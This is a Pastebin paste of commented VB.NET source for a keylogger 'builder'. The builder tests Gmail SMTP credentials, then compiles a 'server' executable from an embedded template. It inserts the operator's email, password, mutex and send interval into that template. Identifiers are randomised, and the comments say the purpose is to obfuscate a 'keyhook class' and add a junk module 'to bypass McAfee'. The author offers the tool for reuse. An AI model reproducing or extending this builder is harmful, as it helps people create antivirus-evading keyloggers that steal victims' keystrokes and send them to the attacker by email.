Guest User

Untitled

a guest
Jan 26th, 2018
119
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.86 KB | None | 0 0
  1. 'Coded & Commentated by Classical, if you delete this at least give credits!
  2. 'Seriously, this took me a good 3 hours to write from scratch, don't be a dick.
  3. 'No one thinks less of you if you just write 'Thanks to: Classical'
  4. 'So before you delete this entire header, please for the love of God at LEAST say thank you on my Thread.
  5. 'Seriously lul.
  6. Imports System.IO, System.CodeDom.Compiler, System.Net.Mail
  7. Public Class Form1
  8. Dim Username, Password, Interval, Mutex, CreationPath, MainClassName, Source As String '[1] Declares some global variables we'll use later.
  9. Dim EmailMessage As New MailMessage() 'See above 1.
  10. Dim MailSendingClient As New SmtpClient() 'See above 1.
  11. Dim GlobalRand As New Random 'See above 1.
  12. Dim Q As Integer 'See above 1.
  13. Public Function RandomVariable(ByVal minamount As Integer, ByVal maxamount As Integer) As String
  14. Dim Rand As New Random 'Declares a new Random variable to generate the length of the string.
  15. Dim TheVariable As String = Nothing 'Declares a new String that will hold the random variable.
  16. Dim CharactersToUse As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM" 'Declares a new string, and stores all the possible characters that may be a part of the randomly generated variable.
  17. For x As Integer = 1 To Rand.Next(minamount + 1, maxamount) 'Repeats the following function until the random number of variables is met.
  18. Dim PickAChar As Integer = Int((CharactersToUse.Length - 2) * Rnd()) + 1 'Selects a random index position in PickAChar (random char in the listing)
  19. TheVariable += (CharactersToUse(PickAChar)) 'Takes whatever is already in TheVariable, then adds on the next random variable by reading what the random picked position was.
  20. Next 'After it's done looping through the #
  21. Return TheVariable 'Returns the randomized variable.
  22. End Function
  23. Function IsEverythingFilledOut()
  24. If TextBox1.Text = Nothing Or ComboBox1.Text = Nothing Or TextBox2.Text = Nothing Or TextBox3.Text = Nothing Or NumericUpDown1.Value <= 0 Then Return False 'Tells the program that some parts of the builder are not correctly filled out.
  25. Return True 'If everything is filled out, it'll just return true.
  26. End Function
  27. Sub SetVariablesFromControls()
  28. Username = TextBox1.Text & ComboBox1.Text 'Setting Variables.
  29. Password = TextBox2.Text 'Setting Variables.
  30. Mutex = TextBox3.Text 'Setting Variables.
  31. Interval = NumericUpDown1.Value * 60000 '1 minute = 60 seconds = 60,000 ms
  32. End Sub
  33. Sub GetSaveLocation()
  34. Dim FileSave As New SaveFileDialog 'Declares a save file dialog so the user can specify where to save the compiled file.
  35. With FileSave
  36. .InitialDirectory = Application.StartupPath 'Sets initial directory to the startup path of the application.
  37. .FileName = "*.exe" 'Filters so you can only save as a .exe, this can be modded to save as w/e file type you want.
  38. .DefaultExt = ".exe|*.exe" 'Sets default extension as .exe
  39. .Filter = "Executable Files .exe|*.exe" 'Filter.
  40. End With
  41.  
  42. If FileSave.ShowDialog = Windows.Forms.DialogResult.OK Then
  43. CreationPath = FileSave.FileName 'Sets the path that the user selected to save their server to to the 'CreationPath' string.
  44. CompileServerLikeABoss(CreationPath) 'Does. The. Work. Rawr. Also sets the save location to the location selected in the SaveFileDialog.
  45. Else : Exit Sub 'If the user hits cancel/'X', we exit the sub.
  46. End If
  47. End Sub
  48. Sub TestSMTPInformation() Handles FakeMultiThreader.DoWork 'Sets this subroutine as what is called when FakeMultiThreader.RunWorkerASync is used.
  49. Try
  50. With EmailMessage
  51. .From = New MailAddress(Username) 'Sets the 'From' email as the one entered on your builder.
  52. .To.Add(Username) 'Sets the 'To' email as the same as the 'From' address.
  53. .Subject = "Your SMTP information is valid!" 'Sets subject of the e-mail.
  54. .Body = "Classical Approves." 'Sets body of the e-mail.
  55. End With
  56.  
  57. With MailSendingClient
  58. .Host = "smtp.gmail.com" 'Sets the SMTP server to 'smtp.gmail.com' which is @gmail.com's SMTP server. You can Google smtp servers for any other @domains.
  59. .Port = 587 'Sets the mail sending port, don't change this; 587 is the most common outgoing smtp port. (Port 25 is 2nd most common, but becoming less and less).
  60. .EnableSsl = True 'Uses Secure Socket Layers to encrypt the operation.
  61. .Credentials = New System.Net.NetworkCredential(Username, Password) 'Sets the credentials of the 'From' by using the information in our builder, since the program needs to log in to the mail client in order to send the email.
  62. .Send(EmailMessage) 'Sends the nicely wrapped e-mail.
  63. End With
  64.  
  65. MsgBox("Your SMTP information is valid, a confirmation E-mail has been send!", 0 + 64, "Notice") 'Makes us feel good.
  66. Catch Fail As Exception
  67. MsgBox("Your information is NOT valid; bellow is a copy of the error that occured." & vbNewLine & vbNewLine & Fail.ToString, 0 + 16, "Error") 'Tells us there was a problem, then gives the un-edited error that was encountered.
  68. Exit Sub
  69. End Try
  70. End Sub
  71. Sub CompileServerLikeABoss(ByVal SaveLocation As String)
  72. Q = 1
  73. MainClassName = RandomVariable(5, 20) 'Sets the MainClassName to a random variable between 5 and 20 chars in length.
  74. Source = My.Resources.TheSourceCode 'Sets the Source string to the un-edited version of the source code so we can replace our 'holders' with random strings.
  75. Source = Source.Replace("&1&", MainClassName) 'Replaces the placeholder '&1&' with the string we randomized above.
  76.  
  77. Dim Version = New Collections.Generic.Dictionary(Of String, String) : Version.Add("CompilerVersion", "v2.0") 'Sets a setting to compile the server w/ .net 2.0 dependency.
  78. Dim Compiler As VBCodeProvider = New VBCodeProvider(Version) 'Declaring our compiler, and telling it to compile with 'Version' setting. (.net 2.0 dependency)
  79.  
  80. Dim Settings As New CompilerParameters() 'To store the settings of our compiler in.
  81. With Settings 'Setting some Settings for the compiler.
  82. .GenerateExecutable = True 'We don't want to generate shit in our memory.
  83. .OutputAssembly = SaveLocation 'Sets the location of the output to the place you selected in your SaveFileDialog.
  84. .CompilerOptions = "/target:winexe" 'Tells the compiler to compile the code as a winexe file.
  85. .ReferencedAssemblies.Add("System.dll") 'Imports the System.dll library to the application on compile.
  86. .ReferencedAssemblies.Add("System.Windows.Forms.dll") 'Imports the System.Windows.Forms.dll library to the application on compile. (allows for controls to be declared in the codedom, such as timers)
  87. .MainClass = MainClassName 'Sets the mainclass of the compiled server to the string we randomized above. (Needs to remain the same).
  88. End With
  89.  
  90. Do While Q <= 40 'We take the integer Q, then use it to loop through all of our place holders that have [] around them.
  91. Source = Source.Replace("[" & Q & "]", RandomVariable(5, 30)) 'Replace each variable with a randomly generated string value from 5-30 characters.
  92. Q += 1 'Adds 1 on to Q so that next time it loops it does the next [] holder in the sequence.
  93. Loop
  94.  
  95. Q = 1 'Reset for next sequence.
  96.  
  97. Do While Q <= 28 'Same as above, only with &&.
  98. Source = Source.Replace("&" & Q & "&", RandomVariable(5, 30)) 'Same as above, only with &&. This is the randomized keyhook class.
  99. Q += 1 'Same as above, only with &&.
  100. Loop
  101.  
  102. Q = 1 'Reset for next sequence.
  103.  
  104. Do While Q <= 46 'Same as above, only with ^^.
  105. Source = Source.Replace("^" & Q & "^", RandomVariable(5, 30)) 'Same as above, only with ^^. This is actually randomized junk module to bypass McAfee.
  106. Q += 1 'Same as above, only with ^^.
  107. Loop
  108.  
  109. Source = Source.Replace("*email*", Username) 'Replacing the specific holder for our email with the email we're using.
  110. Source = Source.Replace("*pass*", Password) 'Same as above w/ password.
  111. Source = Source.Replace("*mutex*", Mutex) 'Same as above w/ mutex.
  112. Source = Source.Replace("*interval*", Interval) 'Same as above w/ sending interval.
  113.  
  114. Dim AssemblyInfo As String() = {"#res1#", "#res2#", "#res3#", "#res4#", "#res1a#", "#res2a#", "#res3a#", "#res4a#"} 'Declare a string array for randomizing our assembly file version/product version, since we only want numbers in them.
  115. For length As Integer = 0 To AssemblyInfo.Length - 1 'While the length of the array is in the bounds of the index, do the following:
  116. Source = Source.Replace(AssemblyInfo(length), GlobalRand.Next(0, 999)) 'Replace the given spot in the array I.E. If we're on spot 1, that'd be #res1#, with a randomly generated number from 0-999.
  117. Next
  118.  
  119. DebugCode(Source) 'Writes a copy of the un-compiled source code (after randomization) of your server to \debug.txt.
  120. Compiler.CompileAssemblyFromSource(Settings, Source) 'Compiles the code with all the settings stored in the "Settings" string from above.
  121.  
  122. MsgBox("Your server has been compiled succesfully!", 0 + 64, "Notice") 'Give yourself a pat on the back, it worked :D!
  123. End Sub
  124. Sub DebugCode(ByVal CodeBeingCompile As String)
  125. Dim Debugger As New StreamWriter(Application.StartupPath & "\debug.txt") 'Declares a new StreamWriter at the location of '\debug.txt'.
  126. Debugger.Write(CodeBeingCompile) 'Writes the given string to the .txt file, in our case this should be the randomized code.
  127. Debugger.Flush() 'Dispose of the used stuff.
  128. Debugger.Close() 'Close da b00k.
  129. End Sub
  130. Private Sub Button3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button3.Click
  131. TextBox3.Text = RandomVariable(5, 20) 'Generates a random variable between 5 and 20 characters in length.
  132. End Sub
  133. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  134. TextBox3.Text = RandomVariable(5, 20) 'Fills the mutex box with a random number on form load.
  135. End Sub
  136. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  137. If IsEverythingFilledOut() = True Then SetVariablesFromControls() Else MsgBox("Please ensure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub 'Calls SetVariablesFromControls sub routine if everything is filled out, if not it throws and error and exits this sub routine.
  138. FakeMultiThreader.CancelAsync() 'Cancels any pending operations on the thread.
  139. Application.DoEvents() 'Makes sure they're canceled.
  140. FakeMultiThreader.RunWorkerAsync() 'Runs the commands under its handler, FakeMultiThread_DoWork.
  141. 'The reason for using a backgroundworker / multi threading is so that the form/gui doens't lag when you do stuff like compile/SMTP test, since it's all run on a different thread.
  142. End Sub
  143. Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
  144. If IsEverythingFilledOut() = True Then SetVariablesFromControls() : GetSaveLocation() Else MsgBox("Please ensure you've filled out all parts of the builder.", 0 + 16, "Error") : Exit Sub
  145. 'Calls SetVariablesFromControls function, makes sure all the information is filled out.
  146. 'If it is, it moves on to GetSaveLocation => Leads to the actual server compile.
  147. 'If it's not, it throws an error and exits the sub routine.
  148. End Sub
  149. End Class
Add Comment
Please, Sign In to add comment